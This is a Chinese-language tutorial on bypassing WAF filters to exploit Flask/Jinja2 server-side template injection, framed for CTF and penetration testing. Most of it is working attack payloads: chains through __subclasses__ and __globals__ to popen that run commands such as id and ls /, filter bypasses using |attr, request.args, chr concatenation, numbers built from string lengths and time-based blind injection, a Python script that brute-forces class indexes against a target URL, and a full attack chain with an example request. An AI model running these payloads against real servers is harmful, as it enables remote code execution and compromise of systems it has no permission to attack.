
Flask/Jinja2 SSTI绕过艺术当WAF掐断常规路径时的七种武器在CTF赛场和渗透测试实战中Flask框架的SSTI服务器端模板注入漏洞一直是兵家必争之地。但随着防御措施的升级传统的攻击手法往往会被WAFWeb应用防火墙无情拦截。本文将带你深入探索当关键字符被过滤时的七种突破路径这些技巧如同武侠世界中的奇门兵器能在看似无解的防御中开辟攻击通道。1. 战场侦察理解WAF的防御机制任何成功的攻击都始于对防御体系的透彻理解。现代WAF通常会针对SSTI攻击设置多层过滤规则常见拦截点包括符号过滤中括号[]、点号.、大括号{}、引号或、下划线_关键词拦截__class__、__base__、__subclasses__等魔术方法函数禁用eval、exec、popen等危险函数数字限制直接数字字符的检测在开始攻击前建议先用简单的测试payload探测WAF规则# 基础探测payload test_cases [ {{7*7}}, {%%20if%201%20%}a{%%20endif%20%}, {{.__class__}} ]通过观察不同payload的拦截情况可以绘制出WAF的过滤规则图谱。这个阶段需要耐心就像解锁一个复杂的密码锁每次尝试都能获得关于防御机制的新线索。2. 中括号被过滤时的迂回战术当中括号[]被列入黑名单时传统的数组索引方式立即失效。此时pop()方法便成为我们的首选武器。这个常被开发者忽视的列表方法能在攻击中发挥奇效{{ .__class__.__base__.__subclasses__().pop(40) }}pop()的工作原理是从列表中移除并返回指定位置的元素。在攻击利用中我们需要先确定目标类的位置索引。以下是自动化爆破的Python脚本示例import requests def find_class_index(target_class): for i in range(500): payload f{{{{.__class__.__base__.__subclasses__().pop({i})}}}} response requests.post(target_url, data{input: payload}) if target_class in response.text: print(f[] Found {target_class} at index: {i}) return i return -1 # 查找FileLoader类的位置 fileloader_index find_class_index(_frozen_importlib_external.FileLoader)值得注意的是不同Python环境和Flask版本中类的排列顺序可能不同因此这个索引值并非绝对。在实际攻击中建议先通过本地测试确定大致范围再在目标环境进行精确爆破。3. 点号受限时的属性访问技巧当WAF拦截了点号.时我们失去了直接访问对象属性的常规途径。此时Jinja2的过滤器|attr便成为我们的瑞士军刀{{ |attr(__class__)|attr(__base__)|attr(__subclasses__)() }}这种写法与传统的点号访问完全等效但完全避开了被过滤的字符。其工作原理是|attr过滤器接受一个字符串参数将该字符串作为属性名在当前对象上查找返回对应的属性值对于字典类型的属性访问还可以使用中括号语法当中括号未被过滤时{{ [__class__][__base__][__subclasses__]() }}在实战中这两种方法往往可以组合使用以绕过更复杂的过滤规则。例如当同时过滤点和中括号时可以尝试{{ (|attr(__class__))|attr(__base__)|attr(__subclasses__)() }}4. 引号被过滤时的字符串构造艺术当单双引号都被WAF拦截时字符串的构造变得极具挑战性。此时我们可以利用Flask的请求对象来动态获取字符串值{{ .__class__.__base__.__subclasses__()[request.args.a] }}然后在请求URL中添加参数?a40这种方法利用了Flask的request.args字典它自动解析URL查询参数。更隐蔽的做法是使用request.values它会同时检查args和form数据{{ request.values.__class__.__base__.__subclasses__()[request.values.x] }}对应的请求可以是POST形式requests.post(url, data{x: 40})对于需要固定字符串的场景还可以通过字符拼接或数字转换来构造{% set chr(().__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.chr) %} {{ chr(95)chr(95)chr(99)chr(108)chr(97)chr(115)chr(115)chr(95)chr(95) }}这段代码先获取chr函数然后通过ASCII码拼接出__class__字符串。虽然冗长但在严格过滤环境下可能是唯一选择。5. 大括号被禁时的条件判断攻击当{{}}被过滤时Jinja2的{%%}控制结构成为我们的突破口。虽然它不能直接输出内容但可以通过条件判断实现盲注{% if .__class__.__base__.__subclasses__()[40].__init__.__globals__[popen](id).read() uid0(root) %} success {% endif %}这种技术的关键在于构造一个必然成立或不成立的条件在条件判断中执行我们的payload通过响应差异如success是否出现判断命令是否执行为了获取命令输出我们需要更精巧的构造{% set cmdls / %} {% set res.__class__.__base__.__subclasses__()[40].__init__.__globals__[popen](cmd).read() %} {% if res %} {% print(res) %} {% endif %}这种方法虽然繁琐但在严格过滤环境下往往能奏效。在实际CTF比赛中可以结合时间盲注技术通过响应延迟判断命令执行结果{% if .__class__.__base__.__subclasses__()[40].__init__.__globals__[popen](sleep 5).read() %} delayed {% endif %}6. 数字过滤时的计算技巧当WAF直接拦截数字字符时我们需要创造性地表示数字。Jinja2的字符串操作和过滤器提供了多种选择长度计算法{% set aaaaaa|length %} {# a5 #} {% set ba*10|length %} {# b10 #}算术运算{% set index(a|length)(aa|length)*(aaa|length) %} {# index7 #}十六进制/八进制表示{% set index0x28 %} {# 40的十六进制 #} {% set index0o50 %} {# 40的八进制 #}在类索引选择时可以这样使用{{ .__class__.__base__.__subclasses__()[a*40|length] }}对于更复杂的数字需求可以构建完整的数学运算系统{% set zeroa|length %} {% set onea|lengthzero %} {% set twooneone %} {# 以此类推 #}7. 组合拳实战从注入到回显的完整链条真实的攻击场景往往是多重要素过滤的组合。假设我们面对以下防御规则过滤.、[]、、、{{}}、直接数字允许|attr、request.args、{%%}我们的攻击链可以这样构建步骤1通过request.args获取类名{% set class_namerequest.args.c %} {% set baserequest.args.b %}步骤2使用|attr进行属性访问{% set classes(|attr(class_name)|attr(base)|attr(__subclasses__))() %}步骤3通过计算得到目标索引{% set indexaaaaa|length*aaa|length %} {# 15 #} {% set targetclasses.pop(index) %}步骤4执行命令并回显{% set cmdrequest.args.cmd %} {% set restarget.__init__.__globals__[popen](cmd).read() %} {% print(res) %}完整请求示例http://target/page?c__class__b__base__cmdid这种组合技的关键在于将各个绕过技术有机衔接形成完整的攻击链。在实际渗透中可能需要多次尝试才能找到可用的类和方法组合。